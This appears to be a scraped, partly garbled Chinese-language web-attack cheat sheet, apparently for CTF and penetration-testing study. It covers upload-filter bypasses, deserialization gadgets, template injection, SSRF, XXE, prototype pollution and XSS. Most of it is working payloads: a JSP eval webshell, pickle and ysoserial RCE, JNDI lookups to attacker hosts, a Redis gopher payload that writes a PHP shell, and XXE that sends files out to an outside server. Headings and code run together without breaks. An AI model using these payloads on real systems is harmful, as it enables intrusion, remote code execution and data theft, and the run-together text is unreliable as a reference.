Content-Disposition: form-data; name="file"; %1cfilename%0a="shell.jsp"Content-Disposition: form-data; name="file"; filename="=?UTF-8?B?c2hlbGwuanNw?="Content-Disposition: form-data; name="file"; filename="=?UTF-8?Q?=73=68=65=6c=6c=2e=6a=73=70?="Content-Disposition: form-data; name="file"; filename*="1.jsp"Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'1.jsp"Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?="Content-Disposition: 後的 filename=xxxContent-Disposition:name="file"kaibrokaibrofilename=shell.aspxfilename=a.php; filename*=UTF-8''a
a.phpax=filename="1;/../shell.aspx";
x=filenmae="1;filename="1;/../shell.aspx"Content-Type: application/x-www-form-urlencoded; multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="query";
Content-Type: image/jpeg&action=search&query=aaa'or''='
meow
--x--
Null Byte:
Content-Type: multipart/form-data; boundary=x
--x\0
Content-Disposition: form-data; name="path";
../../../../etc/passwd
--x\0
--
Double Boundary (前後端解析不一致):
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
--x
Content-Disposition: form-data; name="test";
Content-Type: text/plain
--y
Content-Disposition: form-data; name="msg";
Content-Type: text/plain
1
--y--
--x--
(後端吃y, WAF吃x)
--
Combo (Double Boundary + Form header confusion + Content-type mutation):
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
--x
Content-Disposition: form-data; name="x";
1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";
--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="JScript"%><%eval(Request.Item["x"],"unsafe");%>
--y:--
--x--
phpXXXXXXphpXXXXXX.tmpcurl http://127.0.0.1:8080/ -H "Cookie: JSESSIONID=910666EC33F0B928D05C3C277397DBC5" --limit-rate 1K -F "files=@payload" -X GET/tmp/tomcat.8080.15601954988790012368/work/Tomcat/localhost/ROOTcurl -F file=@hello.txt http://127.0.0.1:3000/RackMultipart20250103-1-sc3f98.txt (6 bytes 隨機)/proc/self/fd/xxx link 到暫存檔案__construct()
__destruct()
__wakeup()
__sleep()
__toString()
Value
s:size:value;i:value;b:value; ('1' or '0')N;a:size:{key definition; value definition; (repeat per element)}O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}Public / Private / Protected 序列化
例如:class名字為: Kaibro,變數名字: test
若為Public,序列化後:
...{s:4:"test";...}若為Private,序列化後:
...{s:12:"%00Kaibro%00test"}若為Protected,序列化後:
...{s:7:"%00*%00test";...}Private和Protected會多兩個NULL byte
<?php
class Kaibro {
public $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
.php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";}uid=33(www-data) gid=33(www-data) groups=33(www-data) <?php
class Kaibro {
private $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
Input: .php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";}
Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
CVE-2016-7124
__wakeup 的執行__destruct 會執行小特性
O:+4:"test":1:{s:1:"a";s:3:"aaa";}O:4:"test":1:{s:1:"a";s:3:"aaa";}Fast Destruct
__destruct()
Array('key1' => classA, 'key1' => classB)ASCII Strings
S 的序列化格式,則可以將字串內容改用 hex 表示
s:5:"A<null_byte>B<cr><lf>";̀ => S:5:"A\00B\09\0D";Phar:// 反序列化
phar 文件會將使用者自定義的 metadata 以序列化形式保存
透過 phar:// 偽協議可以達到反序列化的效果
常見影響函數: file_get_contents(), file_exists(), is_dir(), ...
透過 phar 觸發反序列化時,檔名需要有副檔名(任意副檔名都行)
Payload generator
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
php 識別 phar 是透過 __HALT_COMPILER();?>
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');trigger phar deserialization by zip
<?php
class FLAG{}
$obj=serialize(new FLAG());
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'meow');
$zip->setArchiveComment($obj);
$zip->close();
// trigger: phar://test.zip
trigger phar deserialization by tar
<?php
//@unlink("trigger.tar");
class FLAG{}
$phar = new PharData("trigger.tar");
$phar["kaibro"] = "meow";
$obj = new FLAG();
$phar->setMetadata($obj);
// trigger: phar://trigger.tar
Generic Gadget Chains
bypass phar:// 不能出現在開頭
compress.zlib://, compress.bzip2://, ...compress.zlib://phar://meow.phar/test.txtphp://filter/read=convert.base64-encode/resource=phar://meow.pharExample
dumps() 將物件序列化成字串loads() 將字串反序列化Example:
a.py:
import os
import cPickle
import sys
import base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)
b.py:
import os
import cPickle
import sys
import base64
s = raw_input(":")
print cPickle.loads(base64.b64decode(s))
$ python a.py > tmp
$ cat tmp | python b.py
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
BAh: Marshal serialized data 的 base64 編碼特徵secret_key_base
ActiveSupport::MessageVerifier / ActiveSupport::MessageEncryptor
credentials.yml.enc 和 master.key 還原
ActiveModel::AttributeMethods::ClassMethods::CodeGeneratorthis one is not self-executing
this one actually relies on rails invoking a method on the resulting object after the deserialization
erb = ERB.allocate
erb.instance_variable_set :@src, "`id`"
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation
hash = {depr => 'something'}
marshalled = Marshal.dump(hash)
print marshalled
在 ERB 上,當 result 或 run method 被 call 時,@src 的 string 會被執行
常見使用情境:
secret_key,則可以偽造 CookieDeprecatedInstanceVariableProxy 去執行 ERB 的 result 來 RCE
DeprecatedInstanceVariableProxy 被 unmarshal,rails session 對他處理時遇到不認識的 method 就會呼叫 method_missing,導致執行傳入的 ERB@instance.__send__(@method)Cookie Serializer
XML 的 node 可以自訂 type,如果指定為 yaml,是會被成功解析的!ruby/hash,則相當於在物件上調用 obj[key]=val,也就是 []= 方法ActionDispatch::Routing::RouteSet::NamedRouteCollection 中的 []= 方法中,有一條代碼路徑可以 evaldefine_hash_access 中可以看到 module_eval,裏頭的 selector 來自 namevalue 調用 defaults method,所以可以利用 OpenStruct 來構造
函數名=>返回值的對應關係存放在 @table 中xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<bingo type='yaml'>
---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
'test; sleep(10); test' :
!ruby/object:OpenStruct
table:
:defaults: {}
</bingo>
}.strip
text/json 的 request 轉成 YAML 解析Yaml 在 Rails 3.0.x 是預設的 JSON BackendYAML.load 前的 convert_json_to_yaml,他不會檢查輸入的 JSON 是否合法ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access 的 module_eval 來 RCEac ed 00 05 ...rO0AB ... (Base64)readObject()readExternal()list
lookup
bind/unbind/rebind
RMIRegistryExploit 即是打 bind
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections7 "open /System/Applications/Calculator.app"JRMPClient 可以用來打 DGC
java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections7 "open /System/Applications/Calculator.app"useCodebaseOnly 預設為 true
com.sun.jndi.rmi.object.trustURLCodebase, com.sun.jndi.cosnaming.object.trustURLCodebase 預設為 false
com.sun.jndi.ldap.object.trustURLCodebase 預設為 false
org.apache.naming.factory.BeanFactory + javax.el.ELProcessorjavaSerializedData 進行反序列化org.apache.naming.factory.BeanFactory
forceString 可執行單一字串參數的 methodELProcessor or GroovyShell 來 RCEforceString 在 Tomcat 9.0.63 後被移除 (ref)ResourceRef ref = new ResourceRef(RESOURCECLASS , null, "", "", true, FACTORY, null);
ref.add(new StringRefAddr("forceString", "x=FUNC_NAME"));
ref.add(new StringRefAddr("x",VALUE));
javax.el.ELProcessor
eval 剛好吃一個字串參數,常配合 BeanFactory 來 RCEgroovy.lang.GroovyShell
evaluate 只吃一個字串參數,常配合 BeanFactory 來 RCEorg.apache.commons.configuration2.SystemConfiguration / org.apache.commons.configuration.SystemConfiguration
setSystemProperties method 可以設定系統屬性fileName 可以傳入本地文件,也可以是遠端請求org.apache.commons.collections.enableUnsafeSerialization=true 繞反序列化限制org.yaml.snakeyaml.Yaml
load method 透過 SPI 載入遠端 jar/class 來 RCEorg.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory
SystemConfiguration 修改系統屬性${jndi:ldap://evil.com/payload} (same as normal jndi injection)${jndi:ldap://${sys:java.version}.dns.evil.com/a} (leak java version by dns oob)
${sys:user.name}${sys:os.name}${sys:os.arch}${java:os}${env:USERNAME}${web:rootDir}org.springframework.transaction.jta.JtaTransactionManager#readObject
oracle.jdbc.rowset.OracleCachedRowSet#getConnectioncom.sun.rowset.JdbcRowSetImplparse()parseObject()parseArray(){"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}{"@type" : "com.sun.rowset.JdbcRowSetImpl","dataSourceName" : "ldap://kaibro.tw:1389/evil","autoCommit" : true}{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgA...JAAk="],"_name": "kaibro","_tfactory": {},"_outputProperties": {},}L & ;){"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:23457/Exploit","autoCommit":true}L & ; 兩次){"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:23457/Exploit","autoCommit":true}[){"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{"dataSourceName":"ldap://127.0.0.1:23457/Exploit","autoCommit":true}{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:23457/Exploit"}}{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "b": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Exploit", "autoCommit": true}}Server-Side Template Injection

{{ 7*'7' }}
497777777<%= 7*7 %>
49Dump all used classes
{{ ''.__class__.__mro__[2].__subclasses__() }} Read File
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}Write File
{{''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}RCE
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
{{ config['RUNCMD']('cat flag',shell=True) }}RCE (another way)
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}Python3 RCE
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
過濾中括號
__getitem__{{''.__class__.__mro__.__getitem__(2)}}
{{''.__class__.__mro__[2]}}過濾{{ or }}
{%%}過濾.
{{''.__class__}}
{{''['__class__']}}{{''|attr('__class__')}}過濾Keyword
\xff 形式去繞{{''["\x5f\x5fclass\x5f\x5f"]}}用request繞
{{''.__class__}}
{{''[request.args.kaibro]}}&kaibro=__class__{{['id']|map('passthru')}}{{['id']|filter('system')}}{{app.request.query.filter(0,'curl${IFS}kaibro.tw',1024,{'options':'system'})}}{{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{'/etc/passwd'|file_excerpt(30)}}{{constant('Twig\\Environment::VERSION')}}__${T(java.lang.Runtime).getRuntime().availableProcessors()}__::..x__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x__*{new.java.lang.String(new.java.lang.ProcessBuilder('ls', '-al').start().getInputStream().readAllBytes())}__::.$__|{springRequestContext.getClass().forName("org.yaml.snakeyaml.Yaml").newInstance().load(thymeleafRequestContext.httpServletRequest.getParameter("a"))}|__(xx=id)?a=!!org.springframework.context.support.FileSystemXmlApplicationContext ["https://thegrandpewd.pythonanywhere.com/pwn.bean"]__*{new.java.lang.String(new.java.lang.ProcessBuilder('/readflag', 'give','me','the','flag').start().getInputStream().readAllBytes())}__::.${"freemarker.template.utility.Execute"?new()("calc")}${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}{{87}}{{.}}{{"meow"|print}}{{"<script>alert(/xss/)</script>"}}{{ .MyFunc "arg1" "arg2" }}
MyFunc 函數{{.File "/etc/passwd"}}{{.Echo.Filesystem.Open "/etc/passwd"}}{{.Echo.Static "/meow" "/"}}{{ $x := .Echo.Filesystem.Open "/flag" }} {{ $x.Seek 1 0 }} {{ .Stream 200 "text/plain" $x }} (by @nyancat){{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{ .Get "template" }} (by @maple3142){{ $f := .Echo.Filesystem.Open "/flag" }} {{ $buf := .Get "template" }} {{ $f.Read $buf }} {{ $buf } (by @Ocean){{ 7*7 }} => 49{{ this }}{{ this.toString() }}{{ constructor.toString() }}{{ constructor.constructor('alert(1)')() }} 2.1 v1.0.1-v1.1.5{{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }} 2.1 v1.0.1-v1.1.5{{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) }} 2.3 v1.2.19-v1.2.23{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} v1.2.24-v1.2.29{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} v1.3.20{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} v1.4.0-v1.4.9{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} v1.5.0-v1.5.8{{ [].pop.constructor('alert(1)')() }} 2.8 v1.6.0-1.6.6{{constructor.constructor('alert(1)')()}}%
%(passowrd)s 即可偷到密碼:userdata = {"user" : "kaibro", "password" : "ggininder" }
passwd = raw_input("Password: ")
if passwd != userdata["password"]:
print ("Password " + passwd + " is wrong for user %(user)s") % userdata
f
a="gg"b=f"{a} ininder"
>>> gg ininderf"{os.system('ls')}"http://blog.portswigger.net/2015/08/server-side-template-injection.html
Webhook
From XXE to SSRF
<!ENTITY xxe SYSTEM "http://192.168.1.1/secret">PDF generator / HTML renderer
<iframe src="file:///C:/Windows/System32/drivers/etc/hosts>Open Graph
<meta property="og:image" content="http://kaibro.tw/ssrf">SQL Injection
?id=1 union select 1,2,UTL_HTTP.request('http://10.0.0.1/secret') from dualSVG parsing
<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" /></svg>ImageTragick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
HTTPoxy
Proxy 代入成環境變數 HTTP_ProxyProxy: http://evil.com:12345/XSLT
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://yourserver.com/anything
#EXT-X-ENDLIST
127.0.0.1
127.00000.00000.0001
localhost
127.0.1
127.1
0.0.0.0
0.0
0
::1
::127.0.0.1
::ffff:127.0.0.1
::1%1
127.12.34.56 (127.0.0.1/8)
127.0.0.1.xip.io
http://2130706433 (decimal)
http://0x7f000001
http://017700000001
http://0x7f.0x0.0x0.0x1
http://0177.0.0.1
http://0177.01.01.01
http://0x7f.1
http://[::]
http://ⓀⒶⒾⒷⓇⓄ.ⓉⓌhttp://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ10.0.0.0/8172.16.0.0/12192.168.0.0/16127.0.0.1:80 => OK127.0.0.1:87 => Timeout127.0.0.1:9487 => Timeoutfile protocol
file:///etc/passwdfile:///proc/self/cmdline
file:///proc/self/exe
file:///proc/self/environ
curl file://google.com/etc/passwd
netdoc 亦可)Libreoffice CVE-2018-6871
WEBSERVICE 讀本地檔案,e.g./etc/passwd=COM.MICROSOFT.WEBSERVICE("http://kaibro.tw/"&COM.MICROSOFT.WEBSERVICE("/etc/passwd"))gopher://127.0.0.1:5278/xGG%0d%0aININDERStruts2
action:、redirect:、redirectAction:index.do?redirect:${new java.lang.ProcessBuilder('id').start()}ElasticSearch
9200Redis
6379 FLUSHALL
SET myshell "<?php system($_GET['cmd']) ?>"
CONFIG SET DIR /www
CONFIG SET DBFILENAME shell.php
SAVE
QUIT
gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUITFastCGI
<?php header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );<?php system($_GET['cmd']); ?>/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]MySQL
gopher://127.0.0.1:3306/_<PAYLOAD>MSSQL
Tomcat
tomcat-users.xml 讀,或是踹預設密碼Docker
docker -H tcp://ip xxxxImageMagick - CVE-2016-3718
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
$ convert ssrf.mvg out.pngcurl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=XXXXXXXXXXXXXXXXXXX"curl "https://www.googleapis.com/storage/v1/b?project=<your_project_id>" -H "Authorization: Bearer ya29..." (list buckets)Metadata: true headerSECCON 2017 SqlSRF:
127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/
dict://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790)
CLIENT libcurl 7.35.0
-> libcurl version
sftp://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810)
SSH-2.0-libssh2_1.4.2
-> ssh version
tftp://evil.com:5566/TESTSSRF Bible:
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit
Testing Payload:
https://github.com/cujanovic/SSRF-Testing
<!DOCTYPE kaibro[
<!ENTITY param "hello">
]>
<root>¶m;</root>
libxml2.9.0 以後,預設不解析外部實體simplexml_load_file() 舊版本中預設解析實體,但新版要指定第三個參數 LIBXML_NOENTSimpleXMLElement is a class in PHP
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "http://kaibro.tw/xxe.txt">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "\\12.34.56.78">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
]>
<root>&b;</root>
xxe.dtd: <!ENTITY b SYSTEM "file:///etc/passwd">
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/test.php">
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
%all;
%send;
]>
xxe.dtd:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://kaibro.tw/?a=%file;'>">
把特殊字元塞進 CDATA 解決無法讀取問題
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://kaibro.tw/cdata.dtd">
%dtd;
%all;
]>
<root>&f;</root>
cdata.dtd:
<!ENTITY % file SYSTEM "file:///var/www/html/flag.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY f '%start;%file;%end;'>">
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE ernw [
<!ENTITY xxe SYSTEM "phar:///var/www/html/images/gginin/xxxx.jpeg" > ]>
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text>
</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<message>a</message>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % dtd PUBLIC "-//OXML/XXE/EN" "http://127.0.0.1:8080/ftp.dtd">
%dtd;%ftp;%send;
]>
<ANY>xxe</ANY>
ftp.dtd:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:%file;@127.0.0.1:2121'>">
or
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:pass@127.0.0.1:2121/%file;'>">
正常 OOB XXE 遇到檔案內容有 \n 會爛
但 Java 環境下,部分版本透過 FTP 不會被影響:
<7u141-b00 or <8u131-b09: 不受檔案中 \n 的影響>jdk8u131: 能建立 FTP 連線,外帶檔案內容中含 \n 則拋出異常>jdk8u232: 不能建立 FTP 連線,若 url 中含有 \n 則抛出異常<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://kaibro.tw:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
<?xml version="1.0" encoding="UTF-8"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="http://kaibro.tw/file.xml"></xi:include>
</root>
Read local file:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
goodshit = {}
goodshit.__proto__.password = "ggininder"
user = {}
console.log(user.password)
# => ggininder
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
# => 1 2
o3 = {}
console.log(o3.b)
# => 2
CVE-2019-11358
$.extendlet a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true
SNYK-JS-LODASH-608086
setWith(), set()setWith({}, "__proto__[test]", "123")set({}, "__proto__[test2]", "456")CVE-2020-8203
zipObjectDeep()zipObjectDeep(['__proto__.z'],[123])
console.log(z) => 123CVE-2019-10744
defaultsDeep(){"type":"test","content":{"prototype":{"constructor":{"a":"b"}}}}CVE-2018-16487 / CVE-2018-3721
merge(), mergeWith(), defaultsDeep()var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
_.merge({}, JSON.parse(malicious_payload));
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');
// pollute
Object.prototype.env = {
NODE_DEBUG : 'require("child_process").execSync("touch pwned")//',
NODE_OPTIONS : '-r /proc/self/environ'
};
// method 1
fork('blank');
// method 2
spawn('node', ['blank']).stdout.pipe(process.stdout);
// method 3
console.log(spawnSync('node', ['blank']).stdout.toString());
// method 4
console.log(execSync('node blank').toString());
({}).__proto__.NODE_OPTIONS = '--require=./malicious-code.js';
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
({}).__proto__.NODE_OPTIONS = `--experimental-loader="data:text/javascript,console.log('injection');"`;
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
Object.prototype.shell,則 spawn 任意指令都可 RCEconst child_process = require('child_process');
Object.prototype.shell = 'node';
Object.prototype.env = {
NODE_DEBUG : '1; throw require("child_process").execSync("touch pwned").toString()//',
NODE_OPTIONS : '-r /proc/self/environ'
};
child_process.execSync('id');
補充:蓋環境變數的各種玩法 (https://blog.p6.is/Abusing-Environment-Variables/)
Example
a = {}
a["__proto__"]["exports"] = {".":"./pwn.js"}
a["__proto__"]["1"] = "./"
require("./index.js")
高版本 gadget
{
"__proto__":{
"data":{
"name":"./usage",
"exports":"./preinstall.js"
},
"path":"/opt/yarn-v1.22.19/",
"shell":"sh",
"contextExtensions":[
{
"process":{
"env":{
"npm_config_global":"1",
"npm_execpath":""
},
"execPath":"wget\u0020http://1.3.3.7/?p=$(/readflag);echo"
}
}
],
}
}
Example
outputFunctionNameObject.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch pwned');x";res.render('index.ejs', req.body);req.body 會污染到 options 進而污染到 outputFunctionName (HPP)<script>alert(1)</script><svg/onload=alert(1)><img src=# onerror=alert(1)><a href="javascript:alert(1)">g</a><input type="text" value="g" onmouseover="alert(1)" /><iframe src="javascript:alert(1)"></iframe><script>alert(1)</script>'"><script>alert(1)</script><img/src=@ onerror=alert(1)/>'"><img/src=@ onerror=alert(1)/>' onmouseover=alert(1) x='" onmouseover=alert(1) x="`onmouseover=alert(1) x=`javascript:alert(1)////(javascript 註解) 被過濾時,可以利用算數運算符代替
<a href="javascript:alert(1)-abcde">xss</a><ScRipT><img SrC=#>src="#"src='#'src=#src=`#` (IE)<svg/onload=alert(1)>
<svg/onload=alert(1)> (16進位) (分號可去掉)<img/src='1'/onerror=alert(0)><script>onerror=alert;throw 1</script><script>{onerror=alert}throw 1</script><script>throw onerror=alert,1</script><script>throw[onerror]=[alert],1</script><script>var{a:onerror}={a:alert};throw 1</script><script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script><script>new FunctionX${document.location.hash.substr1}</script>特殊標籤
<title>, <textarea>, <iframe>, <plaintext>, <noscript>...innerHTML
<script> 不會被 trigger<img src=@ onerror=alert()><svg> trick
<svg><svg onload=alert()>Protocol
<a href=javascript:alert(1) >xss</a><iframe src="javascript:alert(1)"><a href="javascript://%0aalert(1)">XSS</a><script>location.protocol='javascript'</script>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>Javascript 自解碼機制
<input type="button" onclick="document.write('<img src=@ onerror=alert(1) />')" />alert(1),因為 javascript 位於 HTML 中,在執行 javascript 前會先解碼 HTML 編碼<script> 中的 javascript,不會解碼 HTML 編碼&#xH;(hex), &#D;(dec) 形式Javascript 中有三套編碼/解碼函數
一些 alert(document.domain) 的方法
(alert)(document.domain);al\u0065rt(document.domain);al\u{65}rt(document.domain);[document.domain].map(alert);window['alert'](document.domain);alert.call(null,document.domain);alert.bind()(document.domain);Some Payload
<svg/onload=alert(1);alert(2)><svg/onload="alert(1);alert(2)"><svg/onload="alert(1);alert(2)">
;; 改成 ; 會失敗<svg/onload=\u0061\u006c\u0065\u0072\u0074(1)>
\u 形式只能用在 javascript,例如 onload 的 a 改成 \u0061 會失敗<title><a href="</title><svg/onload=alert(1)>
<svg><script>prompt(1)</script>
